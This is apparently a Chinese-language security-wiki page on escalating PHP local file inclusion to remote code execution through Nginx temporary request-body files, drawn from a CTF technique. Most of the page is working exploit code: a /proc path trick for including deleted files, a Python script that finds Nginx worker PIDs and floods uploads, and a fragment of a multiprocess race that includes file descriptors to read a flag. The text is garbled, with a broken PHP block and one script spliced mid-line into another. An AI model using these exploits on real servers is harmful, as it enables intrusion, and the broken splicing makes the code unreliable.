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LFI2RCE via Nginx temp files

通过Nginx临时文件进行LFI2RCE

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弱点配置

示例来自https://bierbaumer.net/security/php-lfi-with-nginx-assistance/

  • PHP代码: ````h`

/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... ``` 注意：在这个例子中，不能直接包含`/proc/34/fd/15`，因为PHP的`include`函数会将路径解析为`/var/lib/nginx/body/0000001368 (deleted)`，而这个路径在文件系统中不存在。幸运的是，可以通过一些间接方式绕过这个小限制，比如：`/proc/self/fd/34/../../../34/fd/15`，最终会执行已删除文件`/var/lib/nginx/body/0000001368`的内容。 ## 完整利用 ```python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv[1]}:{sys.argv[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid_max' }) pid_max = int(r.text) print(f'[*] cpus: {cpus}; pid_max: {pid_max}') nginx_workers = [] for pid in range(pid_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'[*] nginx worker found: {pid}') nginx_workers.append(pid) if len(nginx_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('[+] starting uploader') while not done: requests.get(URL, data=' //'

requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload))))) except: pass

def send_payload_worker(requests_session): while True: send_payload(requests_session)

def send_payload_multiprocess(requests_session):

Use all CPUs to send the payload as request body for Nginx

for _ in range(multiprocessing.cpu_count()): p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,)) p.start()

def generate_random_path_prefix(nginx_pids):

This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root

path = "" component_num = random.randint(0, 10) for _ in range(component_num): pid = random.choice(nginx_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path

def read_file(requests_session, nginx_pid, fd, nginx_pids): nginx_pid_list = list(nginx_pids) while True: path = generate_random_path_prefix(nginx_pid_list) path += f"/proc/{nginx_pid}/fd/{fd}" try: d = requests_session.get(SERVER + f"/?action=include&file={path}").text except: continue

Flags are formatted as hxp{}

if "hxp" in d: print("Found flag! ") print(d)

def read_file_worker(requests_session, nginx_pid, nginx_pids):

Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range

for fd in range(10, 45): thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids)) thread.start()

def read_file_multiprocess(requests_session, nginx_pids): for nginx_pid in nginx_pids: p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids)) p.start()

if name == "main": print('[DEBUG] Creating requests session') requests_session = create_requests_session() print('[DEBUG] Getting Nginx pids') nginx_pids = get_nginx_pids(requests_session) print(f'[DEBUG] Nginx pids: {nginx_pids}') print('[DEBUG] Starting payload sending') send_payload_multiprocess(requests_session) print('[DEBUG] Starting fd readers') read_file_multiprocess(requests_session, nginx_pids)

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